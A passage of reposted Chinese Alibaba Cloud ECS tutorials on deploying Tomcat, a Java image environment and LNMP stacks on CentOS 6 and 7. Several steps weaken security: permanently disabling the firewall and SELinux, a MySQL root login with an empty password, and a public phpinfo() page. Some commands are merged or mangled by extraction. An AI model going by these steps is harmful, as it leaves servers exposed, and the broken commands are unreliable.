name="Catalina" defaultHost="localhost"> <Realm className="org.apache.catalina.realm.LockOutRealm"> <Realm className="org.apache.catalina.realm.UserDatabaseRealm" resourceName="UserDatabase"/> </Realm> <Host name="localhost" appBase="/data/wwwroot/default" unpackWARs="true" autoDeploy="true"> <Context path="" docBase="/data/wwwroot/default" debug="0" reloadable="false" crossContext="true"/> <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="localhost_access_log." suffix=".txt" pattern="%h %l %u %t &quot;%r&quot; %s %b" /> </Host> </Engine> </Service> </Server>
          4. Esc 键退出编辑模式,输入:wq保存并退出编辑。
        3. 设置 JVM 内存参数:
          1. 运行命令vi /usr/local/tomcat/bin/setenv.sh, 创建/usr/local/tomcat/bin/setenv.sh。
          2. 按下i键进入编辑模式。
          3. 添加以下内容:
            JAVA_OPTS='-Djava.security.egd=file:/dev/./urandom -server -Xms256m -Xmx496m -Dfile.encoding=UTF-8' 
          4. 按下Esc 键退出编辑模式,输入:wq保存并退出文件。
        4. 设置Tomcat 自启动脚本。
          1. 下载脚本:wget https://github.com/lj2007331/oneinstack/raw/master/init.d/Tomcat-init
          2. 重命名Tomcat-init:mv Tomcat-init /etc/init.d/tomcat
          3. 添加执行权限:chmod +x /etc/init.d/tomcat
          4. 运行以下命令,设置启动脚本JAVA_HOME。
            sed -i 's@^export JAVA_HOME=.*@export JAVA_HOME=/usr/java/jdk1.8.0_191@' /etc/init.d/tomcat 
        5. 设置自启动。
          chkconfig --add tomcat
          chkconfig tomcat on
        6. 启动Tomcat。
          service tomcat start 
        7. 在浏览器地址栏中输入http://公网IP:8080进行访问。出现下图所示页面时表示安装成功。
          阿里云使用小妙招
        8. 使用Web服务为ECS Linux实例配置网站及绑定域名。



        如果您遇到任何问题,请随时联系联系米姆,我们将免费为您提供阿里云基础服务。

        ]]>
        镜像部署-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 镜像部署-阿里云ECS




        Tomcat 作为一个开源且免费的 Java Web 服务器,常用来作为 Web 开发的工具。它可以托管由 Servlet、JSP 页面(动态内容)、HTML 页面、JS、样式表、图片(静态内容)组成的 Java Web 应用程序。本篇文档介绍如何在ECS实例上使用镜像部署Java Web环境。

        部署方式

        • JAVA 镜像部署
        • 一键安装包部署
        • 手动部署(源码编译安装/YUM安装)
        • 使用Cloud Toolkit for Eclipse插件部署

        一般推荐使用镜像部署,尤其适合新手,使用更加快捷方便(阿里云的云市场提供了丰富的镜像软件,单击查看)。而安装包部署以及手动部署适合对 Linux 命令有基本了解的用户,可以满足用户个性化部署的要求。本文主要介绍镜像和手工部署的方式。

        镜像部署

        1. 单击 JAVA 环境(CentOS7.4 Nginx Tomcat8 JDK) 进入镜像详情页。
        2. 单击 立即购买,按提示步骤购买 ECS 实例。
        3. 登录 ECS管理控制台ECS 管理控制台。
        4. 在左边导航栏中,单击 实例,进入 ECS 实例列表页。
        5. 选择所购 ECS 实例所在的地域,找到已购的 ECS 实例,在 IP 地址 列获取该实例的公网 IP 地址。
        6. 在浏览器地址栏中输入 http://公网 IP 地址 后,收藏在线文档。
          说明 若输入公网后无法显示下述页面,请检查安全组公网入方向已开通80端口。

          阿里云使用小妙招
        7. 使用 Putty 登录 Linux 服务器,参考 使用SSH密钥对连接Linux实例。
          说明 若创建实例时未设置密码,root需 重置实例密码。
        8. /data/wwwroot/default 文件夹里的index.html更名为index.html_bk
          cd /data/wwwroot/default mv index.html index.html_bk
        9. 在Winscp工具里用公网 IP 地址连接Linux实例,然后从Winscp左侧的文件夹目录树中按 /data/wwwroot/default 路径进入default文件夹,将 Java 代码放入此文件夹中。
          阿里云使用小妙招
        10. 默认 Tomcat 是以一般 www 用户运行,将网站代码权限改为 www,执行命令:
          chown -R www.www /data/wwwroot

          阿里云使用小妙招
        11. 重启 Tomcat。
          service tomcat restart

          阿里云使用小妙招
        12. 在浏览器地址栏中输入公网 IP 地址,完成验证。
          阿里云使用小妙招
        13. 使用Web服务为ECS Linux实例配置网站及绑定域名。



        如果您遇到问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。

        ]]>
        搭建LNMP环境(CentOS 7)-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 搭建LNMP环境(CentOS 7)-阿里云ECS





        本文档介绍如何手动在ECS实例上搭建LNMP环境(CentOS 7),其中LNMP分别代表Linux、Nginx、MySQL和PHP。

        项目配置

        本篇教程在示例步骤中使用了以下版本的软件。操作时,请您以实际软件版本为准。

        • 操作系统:CentOS 7.2 64位
        • Nginx版本:Nginx 1.10.2
        • MySQL版本:MySQL 5.6.24
        • PHP版本:PHP 5.6.38

        适用对象

        适用于熟悉Linux操作系统,刚开始使用阿里云进行建站的个人用户。

        基本流程

        使用云服务器ECS搭建LNMP平台的操作步骤如下:

        1. 准备编译环境。
        2. 安装Nginx。
        3. 安装MySQL。
        4. 安装PHP-FPM。
        5. 测试访问。
        步骤一:准备编译环境。

        本文主要说明手动安装LNMP平台的操作步骤,您也可以在 云市场 购买LNMP镜像直接启动ECS,以便快速建站。

        1. 使用向导创建实例。
          说明 本篇教程创建的ECS实例选用了CentOS 7.2 64位的操作系统,专有网络和公网IP。
        2. 使用管理终端连接ECS实例。
        3. 输入命令cat /etc/redhat-release查看系统版本。
          阿里云使用小妙招
        4. 关闭防火墙。

          输入systemctl status firewalld命令查看当前防火墙的状态。


          阿里云使用小妙招
          如果防火墙的状态参数是active,则防火墙为开启状态。如果防火墙的状态参数是inactive,则防火墙为关闭状态。如上图所示,此处防火墙为开启状态,需要运行如下命令关闭防火墙:
          • 如果您想临时关闭防火墙,输入命令systemctl stop firewalld
            说明 这只是暂时关闭防火墙,下次重启Linux后,防火墙还会开启。
          • 如果您想永久关闭防火墙,输入命令systemctl disable firewalld
            说明 您可参考firewalld官网信息来决定何时开启防火墙。
        5. 关闭SELinux。
          1. 输入getenforce命令查看当前SELinux的状态。
            阿里云使用小妙招
          2. 如果SELinux状态参数是Enforcing,则SELinux为开启状态。如果SELinux状态参数是Disabled, 则SELinux为关闭状态。如上图所示,此处SELinux为开启状态,需要运行如下命令关闭SELinux:
            • 如果您想临时关闭SELinux,输入命令setenforce 0
              说明 这只是暂时关闭SELinux,下次重启Linux后,SELinux还会开启。
            • 如果您想永久关闭SELinux,输入命令vi /etc/selinux/config编辑SELinux配置文件。回车后,把光标移动到SELINUX=enforcing这一行,按下i键进入编辑模式,修改为SELINUX=disabled, 按下Esc键,然后输入:wq并回车以保存并关闭SELinux配置文件。
              说明 您可参考redhat关于SELinux的官方文档来决定何时开启SELinux。
          3. 重启系统使设置生效。
        6. 参考添加安全组规则,放行所需端口入方向规则。
        步骤二:安装Nginx。
        1. 安装依赖包。
          yum groupinstall "Development tools" -y yum install zlib-devel pcre-devel openssl-devel -y yum install epel-release -y yum install perl perl-devel perl-ExtUtils-Embed libxslt libxslt-devel libxml2 libxml2-devel gd gd-devel GeoIP GeoIP-devel -y
        2. 下载源码包解压编译。
          wget http://nginx.org/download/nginx-1.10.2.tar.gz
          tar xvf nginx-1.10.2.tar.gz -C /usr/local/src
          cd /usr/local/src/nginx-1.10.2
          ./configure --prefix=/etc/nginx 
          --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --pid-path=/var/run/nginx.pid --lock-path=/var/run/nginx.lock --http-client-body-temp-path=/var/tmp/nginx/client --http-proxy-temp-path=/var/tmp/nginx/proxy --http-fastcgi-temp-path=/var/tmp/nginx/fcgi --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi --http-scgi-temp-path=/var/tmp/nginx/scgi --user=nginx --group=nginx --with-pcre --with-http_v2_module --with-http_ssl_module --with-http_realip_module --with-http_addition_module --with-http_sub_module --with-http_dav_module --with-http_flv_module --with-http_mp4_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_random_index_module --with-http_secure_link_module --with-http_stub_status_module --with-http_auth_request_module --with-mail --with-mail_ssl_module --with-file-aio --with-ipv6 --with-http_v2_module --with-threads --with-stream --with-stream_ssl_module make && make install
          mkdir -p /var/tmp/nginx/client 
        3. 输入命令nginx -v可查看Nginx的版本号。
          阿里云使用小妙招
        4. 添加运行Nginx服务进程的用户。
          useradd nginx
          chown -R nginx:nginx /etc/nginx/
        5. 添加nginx.service启动配置文件。

          输入命令vi /usr/lib/systemd/system/nginx.service打开Nginx的启动配置文件,按下i键,然后在配置文件中写下如下内容:

          [Unit] Description=nginx - high performance web server Documentation=https://nginx.org/en/docs/ After=network-online.target remote-fs.target nss-lookup.target Wants=network-online.target 
          
          [Service] Type=forking PIDFile=/var/run/nginx.pid ExecStartPre=/usr/sbin/nginx -t -c /etc/nginx/nginx.conf ExecStart=/usr/sbin/nginx -c /etc/nginx/nginx.conf ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s TERM $MAINPID [Install] WantedBy=multi-user.target

          按下Esc键,然后输入:wq并回车以保存并关闭Nginx启动配置文件。

        6. 启动Nginx服务并设置开机自动启动。
          systemctl start nginx
          systemctl enable nginx
        7. 登录ECS管理控制台,单击左侧导航栏中的实例,在实例列表中找到正在部署环境的实例,从这个实例的IP地址项中复制它的公网IP,用浏览器访问这个IP地址可看到默认欢迎页面。
          阿里云使用小妙招
        步骤三:安装MySQL。
        1. 准备编译环境。
          yum install ncurses-devel bison gnutls-devel –y
          yum install cmake -y
        2. 准备MySQL数据存放目录。
          mkdir /mnt/data groupadd -r mysql useradd -r -g mysql -s /sbin/nologin mysql id mysql
        3. 更改数据目录属主和属组。
          chown -R mysql:mysql /mnt/data
        4. 下载稳定版源码包解压编译。
          wget https://downloads.mysql.com/archives/get/file/mysql-5.6.24.tar.gz tar xvf mysql-5.6.24.tar.gz -C  /usr/local/src cd /usr/local/src/mysql-5.6.24 cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql 
          > -DMYSQL_DATADIR=/mnt/data 
          > -DSYSCONFDIR=/etc 
          > -DWITH_INNOBASE_STORAGE_ENGINE=1 
          > -DWITH_ARCHIVE_STORAGE_ENGINE=1 
          > -DWITH_BLACKHOLE_STORAGE_ENGINE=1 
          > -DWITH_READLINE=1 
          > -DWITH_SSL=system 
          > -DWITH_ZLIB=system 
          > -DWITH_LIBWRAP=0 
          > -DMYSQL_TCP_PORT=3306 
          > -DDEFAULT_CHARSET=utf8 
          > -DDEFAULT_COLLATION=utf8_general_ci 
          > -DMYSQL_UNIX_ADDR=/usr/local/mysql/mysql.sock 
          > -DWITH_SYSTEMD=1 
          > -DINSTALL_SYSTEMD_UNITDIR=/usr/lib/systemd/system 
          make && make install
        5. 修改安装目录的属组为mysql。
          chown -R mysql:mysql /usr/local/mysql/
        6. 初始化数据库并复制配置文件。
          cd /usr/local/mysql /usr/local/mysql/scripts/mysql_install_db --user=mysql --datadir=/mnt/data/ mv /etc/my.cnf /etc/my.cnf.bak
          cp /usr/local/mysql/support-files/my-default.cnf /etc/my.cnf
        7. 修改配置文件中的安装路径及数据目录存放路径。
          echo -e "basedir = /usr/local/mysqlndatadir = /mnt/datan" >> /etc/my.cnf
        8. 添加mysql.service启动配置文件。

          输入命令vi /usr/lib/systemd/system/mysql.service打开MySQL的启动配置文件,按下i键,然后在配置文件中写下如下内容:

          [Unit] Description=MySQL Community Server After=network.target After=syslog.target
          
          [Install] WantedBy=multi-user.target Alias=mysql.service
          
          [Service] User=mysql Group=mysql PermissionsStartOnly=true ExecStart=/usr/local/mysql/bin/mysqld TimeoutSec=600 Restart=always PrivateTmp=false

          按下Esc键,然后输入:wq并回车以保存并关闭MySQL启动配置文件。

        9. 设置PATH环境变量。
          echo "export PATH=$PATH:/usr/local/mysql/bin" > /etc/profile.d/mysql.sh source /etc/profile.d/mysql.sh
        10. 设置开机启动MySQL。
          systemctl enable mysql
        11. 启动MySQL服务。
          systemctl start mysql
          mysql –h 127.0.0.1
        步骤四:安装PHP-FPM。

        Nginx作为web服务器,当它接收到请求后,不支持对外部程序的直接调用或者解析,必须通过FastCGI进行调用。如果是PHP请求,则交给PHP解释器处理,并把结果返回给客户端。PHP-FPM是支持解析PHP的一个FastCGI进程管理器。提供了更好管理PHP进程的方式,可以有效控制内存和进程、可以平滑重载PHP配置。

        1. 安装依赖包。
          yum install libmcrypt libmcrypt-devel mhash mhash-devel libxml2 libxml2-devel bzip2 bzip2-devel
        2. 下载稳定版源码包解压编译。
          wget http://cn2.php.net/get/php-5.6.38.tar.bz2/from/this/mirror
          cp mirror php-5.6.38.tar.bz2
          tar xvf php-5.6.38.tar.bz2 -C /usr/local/src
          cd /usr/local/src/php-5.6.38
          ./configure --prefix=/usr/local/php 
          --with-config-file-scan-dir=/etc/php.d --with-config-file-path=/etc --with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --enable-mbstring --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir=/usr --with-openssl --enable-xml --enable-sockets --enable-fpm --with-mcrypt --with-bz2 make && make install
        3. 添加PHP和PHP-FPM配置文件。
          cp /usr/local/src/php-5.6.38/php.ini-production /etc/php.ini cd /usr/local/php/etc/
          cp php-fpm.conf.default php-fpm.conf sed -i 's@;pid = run/php-fpm.pid@pid = /usr/local/php/var/run/php-fpm.pid@' php-fpm.conf
        4. 添加php-fpm.service启动配置文件。

          输入命令vi /usr/lib/systemd/system/php-fpm.service打开PHP-FPM的启动配置文件,按下i键,然后在配置文件中写下如下内容:

          [Unit] Description=The PHP FastCGI Process Manager After=network.target  [Service] Type=simple PIDFile=/usr/local/php/var/run/php-fpm.pid ExecStart=/usr/local/php/sbin/php-fpm --nodaemonize --fpm-config /usr/local/php/etc/php-fpm.conf ExecReload=/bin/kill -USR2 $MAINPID PrivateTmp=true  [Install] WantedBy=multi-user.target 

          按下Esc键,然后输入:wq并回车以保存并关闭PHP-FPM启动配置文件。

        5. 启动PHP-FPM服务并设置开机自动启动。
          systemctl start php-fpm
          systemctl enable php-fpm
        6. 启动服务。
          service php-fpm start
        7. 添加Nginx对FastCGI的支持。
          1. 备份默认的Nginx配置文件。
            cp /etc/nginx/nginx.conf /etc/nginx/nginx.confbak cp nginx.conf.default nginx.conf.default.bak cp /etc/nginx/nginx.conf.default /etc/nginx/nginx.conf
          2. 输入命令vi /etc/nginx/nginx.conf打开Nginx的配置文件,按下i键,在所支持的主页面格式中添加PHP格式的主页,类似如下:
            location / {
              root   /etc/nginx/html; index index.php index.html index.htm;
            }
          3. 取消以下内容前面的注释:
            location ~ .php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params;
            }
          4. root html;改成root /etc/nginx/html;
          5. fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;改成fastcgi_param SCRIPT_FILENAME /etc/nginx/html/$fastcgi_script_name;
          6. 按下Esc键,然后输入:wq并回车以保存并关闭Nginx配置文件。
        8. 输入命令systemctl restart nginx重新载入Nginx的配置文件。
        9. 输入命令vi /etc/nginx/html/index.php打开index.php文件,按下i键,然后在文件中写入如下内容:
          <?php $conn=mysql_connect('127.0.0.1','root',''); if ($conn){ echo "LNMP platform connect to mysql is successful!";
          }else{ echo "LNMP platform connect to mysql is failed!";
          }
          phpinfo(); ?>
        10. 按下Esc键,然后输入:wq并回车以保存并关闭index.php文件。
        步骤五:测试访问

        登录 ECS管理控制台,单击左侧导航栏中的实例,在实例列表中复制正在部署环境的实例的公网IP地址。用浏览器访问这个公网IP地址,如您看见如下图所示页面,则表示LNMP平台构建完成。


        阿里云使用小妙招


        ]]>
        搭建LNMP环境(CentOS 6)-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 搭建LNMP环境(CentOS 6)-阿里云ECS



        本文介绍如何手动在ECS实例上搭建LNMP环境(CentOS 6),其中LNMP分别代表Linux、Nginx、MySQL和PHP。

        项目配置

        本篇教程在示例步骤中使用了以下版本的软件。操作时,请您以实际软件版本为准。

        • 操作系统:CentOS 6.8 64位
        • Nginx版本:Nginx 1.10.2
        • MySQL版本:MySQL 5.6.24
        • PHP版本:PHP 5.6.23

        适用对象

        适用于熟悉Linux操作系统,刚开始使用阿里云进行建站的个人用户。

        基本流程

        使用云服务器ECS搭建LNMP平台的操作步骤如下:

        1. 准备编译环境。
        2. 安装Nginx。
        3. 安装MySQL。
        4. 安装PHP-FPM。
        5. 测试访问。
        步骤一:准备编译环境。

        本文主要说明手动安装LNMP平台的操作步骤,您也可以在 云市场 购买LNMP镜像直接启动ECS,以便快速建站。

        1. 使用向导创建实例。
          说明 本篇教程创建的ECS实例选用了CentOS 6.8 64位的操作系统,专有网络和公网IP。
        2. 使用管理终端连接ECS实例。
        3. 输入命令cat /etc/redhat-release查看系统版本。
          阿里云使用小妙招
        4. 关闭SELinux。
          1. 输入getenforce命令查看当前SELinux的状态。
            阿里云使用小妙招
          2. 如果SELinux状态参数是Enforcing,则SELinux为开启状态。如果SELinux状态参数是Disabled, 则SELinux为关闭状态。如上图所示,此处SELinux为开启状态,需要运行如下命令关闭SELinux:
            • 如果您想临时关闭SELinux,输入命令setenforce 0
              说明 这只是暂时关闭SELinux,下次重启Linux后,SELinux还会开启。
            • 如果您想永久关闭SELinux,输入命令vi /etc/selinux/config编辑SELinux配置文件。回车后,把光标移动到SELINUX=enforcing这一行,按下i键进入编辑模式,修改为SELINUX=disabled, 按下Esc键,然后输入:wq并回车以保存并关闭SELinux配置文件。
              说明 您可参考redhat关于SELinux的官方文档来决定何时开启SELinux。
          3. 重启系统使设置生效。
        5. 参考添加安全组规则,放行所需端口入方向规则。
        步骤二:安装Nginx。
        1. 添加运行Nginx服务进程的用户。
          groupadd -r nginx useradd -r -g nginx  nginx
        2. 下载源码包解压编译。
          wget http://nginx.org/download/nginx-1.10.2.tar.gz
          tar xvf nginx-1.10.2.tar.gz -C /usr/local/src
          yum groupinstall "Development tools"
          yum -y install gcc wget gcc-c++ automake autoconf libtool libxml2-devel libxslt-devel perl-devel perl-ExtUtils-Embed pcre-devel openssl-devel
          cd /usr/local/src/nginx-1.10.2
          ./configure \
          --prefix=/usr/local/nginx \ --sbin-path=/usr/sbin/nginx \ --conf-path=/etc/nginx/nginx.conf \ --error-log-path=/var/log/nginx/error.log \ --http-log-path=/var/log/nginx/access.log \ --pid-path=/var/run/nginx.pid \ --lock-path=/var/run/nginx.lock \ --http-client-body-temp-path=/var/tmp/nginx/client \ --http-proxy-temp-path=/var/tmp/nginx/proxy \ --http-fastcgi-temp-path=/var/tmp/nginx/fcgi \ --http-uwsgi-temp-path=/var/tmp/nginx/uwsgi \ --http-scgi-temp-path=/var/tmp/nginx/scgi \ --user=nginx \ --group=nginx \ --with-pcre \ --with-http_v2_module \ --with-http_ssl_module \ --with-http_realip_module \ --with-http_addition_module \ --with-http_sub_module \ --with-http_dav_module \ --with-http_flv_module \ --with-http_mp4_module \ --with-http_gunzip_module \ --with-http_gzip_static_module \ --with-http_random_index_module \ --with-http_secure_link_module \ --with-http_stub_status_module \ --with-http_auth_request_module \ --with-mail \ --with-mail_ssl_module \ --with-file-aio \ --with-ipv6 \ --with-http_v2_module \ --with-threads \ --with-stream \ --with-stream_ssl_module make && make install
          mkdir -p /var/tmp/nginx/client
        3. 添加SysV启动脚本。

          输入命令vi /etc/init.d/nginx打开SysV启动脚本文件,按下i键,然后在脚本文件中写下如下内容:

           #!/bin/sh  #  # nginx - this script starts and stops the nginx daemon  #  # chkconfig:   - 85 15  # description: Nginx is an HTTP(S) server, HTTP(S) reverse \  #               proxy and IMAP/POP3 proxy server  # processname: nginx  # config:      /etc/nginx/nginx.conf  # config:      /etc/sysconfig/nginx  # pidfile:     /var/run/nginx.pid  # Source function library.  . /etc/rc.d/init.d/functions # Source networking configuration.  . /etc/sysconfig/network # Check that networking is up.  [ "$NETWORKING" = "no" ] && exit 0
          nginx="/usr/sbin/nginx" prog=$(basename $nginx)
          NGINX_CONF_FILE="/etc/nginx/nginx.conf" [ -f /etc/sysconfig/nginx ] && . /etc/sysconfig/nginx
          lockfile=/var/lock/subsys/nginx start() {
              [ -x $nginx ] || exit 5
              [ -f $NGINX_CONF_FILE ] || exit 6 echo -n $"Starting $prog: " daemon $nginx -c $NGINX_CONF_FILE retval=$? echo [ $retval -eq 0 ] && touch $lockfile return $retval } stop() { echo -n $"Stopping $prog: " killproc $prog -QUIT
              retval=$? echo [ $retval -eq 0 ] && rm -f $lockfile return $retval killall -9 nginx
          } restart() {
              configtest || return $?
              stop
              sleep 1
              start
          } reload() {
              configtest || return $? echo -n $"Reloading $prog: " killproc $nginx -HUP
          RETVAL=$? echo } force_reload() {
              restart
          } configtest() { $nginx -t -c $NGINX_CONF_FILE } rh_status() {
              status $prog } rh_status_q() {
              rh_status >/dev/null 2>&1
          } case "$1" in start)
                  rh_status_q && exit 0 $1 ;;
              stop)
                  rh_status_q || exit 0 $1 ;;
              restart|configtest) $1 ;;
              reload)
                  rh_status_q || exit 7 $1 ;;
              force-reload)
                  force_reload
                  ;;
              status)
                  rh_status
                  ;;
              condrestart|try-restart)
                  rh_status_q || exit 0
                      ;;
              *) echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload|configtest}" exit 2 esac

          按下Esc键,然后输入:wq并回车以保存并关闭SysV启动脚本文件。

        4. 赋予脚本执行权限。
          chmod +x /etc/init.d/nginx
        5. 添加至服务管理列表,设置开机自启。
          chkconfig --add nginx chkconfig  nginx on
        6. 启动服务。
          service nginx start
        7. 登录ECS管理控制台,单击左侧导航栏中的实例,在实例列表中找到正在部署环境的实例,从这个实例的IP地址项中复制它的公网IP,用浏览器访问这个IP地址可看到默认欢迎页面。
          阿里云使用小妙招
        步骤三:安装MySQL。
        1. 准备编译环境。
          yum groupinstall "Server Platform Development" "Development tools" -y yum install cmake -y
        2. 准备MySQL数据存放目录。
          mkdir /mnt/data groupadd -r mysql useradd -r -g mysql -s /sbin/nologin mysql id mysql
        3. 更改数据目录属主和属组。
          chown -R mysql:mysql /mnt/data
        4. 下载稳定版源码包解压编译。
          wget https://downloads.mysql.com/archives/get/file/mysql-5.6.24.tar.gz tar xvf mysql-5.6.24.tar.gz -C  /usr/local/src cd /usr/local/src/mysql-5.6.24 cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql \
          -DMYSQL_DATADIR=/mnt/data \
          -DSYSCONFDIR=/etc \
          -DWITH_INNOBASE_STORAGE_ENGINE=1 \
          -DWITH_ARCHIVE_STORAGE_ENGINE=1 \
          -DWITH_BLACKHOLE_STORAGE_ENGINE=1 \
          -DWITH_READLINE=1 \
          -DWITH_SSL=system \
          -DWITH_ZLIB=system \
          -DWITH_LIBWRAP=0 \
          -DMYSQL_TCP_PORT=3306 \
          -DMYSQL_UNIX_ADDR=/tmp/mysql.sock \
          -DDEFAULT_CHARSET=utf8 \
          -DDEFAULT_COLLATION=utf8_general_ci make && make install
        5. 修改安装目录的属组为mysql。
          chown -R mysql:mysql /usr/local/mysql/
        6. 初始化数据库。
          cd /usr/local/mysql /usr/local/mysql/scripts/mysql_install_db --user=mysql --datadir=/mnt/data/
          说明 在CentOS 6.8版操作系统的最小安装完成后,在/etc目录下会存在一个my.cnf,需要将此文件更名为其他的名字,如/etc/my.cnf.bak,否则,该文件会干扰源码安装的MySQL的正确配置,造成无法启动。
        7. 复制配置文件和启动脚本。
          cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
          chmod +x /etc/init.d/mysqld
          cp /usr/local/mysql/support-files/my-default.cnf /etc/my.cnf
        8. 设置开机自动启动。
          cd
          chkconfig mysqld on chkconfig --add mysqld
        9. 修改配置文件中的安装路径及数据目录存放路径。
          echo -e "basedir = /usr/local/mysql\ndatadir = /mnt/data\n" >> /etc/my.cnf
        10. 设置PATH环境变量。
          echo "export PATH=$PATH:/usr/local/mysql/bin" > /etc/profile.d/mysql.sh source /etc/profile.d/mysql.sh
        11. 启动服务。
          service mysqld start 
          mysql -h 127.0.0.1
        步骤四:安装PHP-FPM。

        Nginx作为web服务器,当它接收到请求后,不支持对外部程序的直接调用或者解析,必须通过FastCGI进行调用。如果是PHP请求,则交给PHP解释器处理,并把结果返回给客户端。PHP-FPM是支持解析PHP的一个FastCGI进程管理器。提供了更好管理PHP进程的方式,可以有效控制内存和进程、可以平滑重载PHP配置。

        1. 安装依赖包。
          yum install libmcrypt libmcrypt-devel mhash mhash-devel libxml2 libxml2-devel bzip2 bzip2-devel
        2. 下载稳定版源码包解压编译。
          wget http://cn2.php.net/get/php-5.6.23.tar.bz2/from/this/mirror
          cp mirror php-5.6.23.tar.bz2
          tar xvf php-5.6.23.tar.bz2 -C /usr/local/src
          cd /usr/local/src/php-5.6.23
          ./configure --prefix=/usr/local/php \
          --with-config-file-scan-dir=/etc/php.d \ --with-config-file-path=/etc \ --with-mysql=/usr/local/mysql \ --with-mysqli=/usr/local/mysql/bin/mysql_config \ --enable-mbstring \ --with-freetype-dir \ --with-jpeg-dir \ --with-png-dir \ --with-zlib \ --with-libxml-dir=/usr \ --with-openssl \ --enable-xml \ --enable-sockets \ --enable-fpm \ --with-mcrypt \ --with-bz2 make && make install
        3. 添加PHP和PHP-FPM配置文件。
          cp /usr/local/src/php-5.6.23/php.ini-production /etc/php.ini cd /usr/local/php/etc/
          cp php-fpm.conf.default php-fpm.conf sed -i 's@;pid = run/php-fpm.pid@pid = /usr/local/php/var/run/php-fpm.pid@' php-fpm.conf
        4. 添加PHP-FPM启动脚本。
          cp /usr/local/src/php-5.6.23/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm
          chmod +x /etc/init.d/php-fpm
        5. 添加PHP-FPM至服务列表并设置开机自启。
          chkconfig --add php-fpm  chkconfig --list php-fpm  chkconfig php-fpm on
        6. 启动服务。
          service php-fpm start
        7. 添加Nginx对FastCGI的支持。
          1. 备份默认的Nginx配置文件。
            cp /etc/nginx/nginx.conf /etc/nginx/nginx.confbak cp /etc/nginx/nginx.conf.default /etc/nginx/nginx.conf
          2. 输入命令vi /etc/nginx/nginx.conf打开Nginx的配置文件,按下i键,在所支持的主页面格式中添加php格式的主页,类似如下:
            location / {
              root   /usr/local/nginx/html; index index.php index.html index.htm;
            }
          3. 取消以下内容前面的注释:
            location ~ \.php$ { root html; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi_params;
            }
          4. root html;改成root /usr/local/nginx/html;
          5. fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;改成fastcgi_param SCRIPT_FILENAME /usr/local/nginx/html/$fastcgi_script_name;
          6. 按下Esc键,然后输入:wq并回车以保存并关闭Nginx配置文件。
        8. 输入命令service nginx reload重新载入Nginx的配置文件。
        9. 输入命令vi /usr/local/nginx/html/index.php打开index.php文件,按下i键,然后写入如下内容:
          <?php $conn=mysql_connect('127.0.0.1','root',''); if ($conn){ echo "LNMP platform connect to mysql is successful!";
          }else{ echo "LNMP platform connect to mysql is failed!";
          }
          phpinfo(); ?>
        10. 按下Esc键,然后输入:wq并回车以保存并关闭index.php文件。
        步骤五:测试访问

        登录 ECS管理控制台,单击左侧导航栏中的实例,在实例列表中复制正在部署环境的实例的公网IP地址。用浏览器访问这个公网IP地址,如您看见如下图所示页面,则表示LNMP平台构建完成。


        阿里云使用小妙招



        如果遇到问题可以随时联系米姆,我们将免费为您提供阿里云基础服务。

        ]]>
        镜像部署 LNMP 环境-阿里云ECS Fri, 02 May 2025 09:39:04 +0800 镜像部署 LNMP 环境-阿里云ECS




        LNMP分别代表Linux、Nginx、MySQL、PHP。本文介绍如何在ECS实例上使用镜像部署LNMP环境。

        您可选用以下几种方式在ECS实例上部署LNMP环境:

        • 镜像部署LNMP环境。
        • 一键部署LNMP环境。
        • 手动部署LNMP环境。

        下表列出了镜像部署和手动部署两种方式的特点。一般推荐镜像部署。如果您需要个性化定制部署,建议使用手动部署。


        对比项 镜像部署 手动部署
        部署所需时间 3-5分钟,快速部署上云 1-2天。选择适合的操作系统、中间件、数据库、各类软件、插件、脚本,再进行安装和配置
        专业性 IOPS 由运维过万级用户的优质服务商提供 依赖开发人员的开发水平
        个性化 支持主流应用场景 可满足个性化的部署要求
        安全性 经过严格安全审核,集成最稳定安全的版本 依赖开发人员的开发水平
        售后服务 专业售后工程师团队支持 依赖运维人员的经验,或由外包团队支持
        说明
        • 本文档只介绍通用的操作步骤。一般镜像软件安装包都包含了操作指南,请阅读镜像操作指南进行具体的安装和配置。
        • 阿里云的 云市场 提供了丰富的镜像资源。镜像集成了操作系统和应用程序。在创建实例时,您可以选择包含了应用环境的镜像,创建后无需再部署环境。
        • 云服务器 ECS 不支持虚拟化软件(如 KVM、Xen、VMware 等)的安装部署。

        操作步骤

        说明
        • 本节介绍的方法适用于已经购买实例、但想使用镜像重新部署环境的用户。此外,您也可以在创建实例的时候就选择镜像,请参考 创建实例。
        • 如果您想使用镜像市场的镜像来替换当前实例的操作系统,可以通过本节介绍的更换系统盘的方法来实现。
        • 更换系统盘的时候,数据盘 的数据则不会受到影响。因此建议您将系统盘的个人数据备份到数据盘中,或采用其他方式进行备份。
        • 更换系统盘后,IP 地址不会改变。

        如果您购买的实例已经开始运行,但是您想使用镜像市场中的镜像重新部署环境,操作步骤如下:

        1. 登录 ECS管理控制台。
        2. 我的资源部分下的云服务器
          阿里云使用小妙招
        3. 实例列表里找到需要重新部署环境的实例,单击实例ID或右边的管理
          阿里云使用小妙招
        4. 如果该实例刚刚创建,可以在实例详情页面单击停止。如果实例已经运行了一段时间,您想保留其中的数据,请在操作前将数据备份到数据盘中。
          阿里云使用小妙招
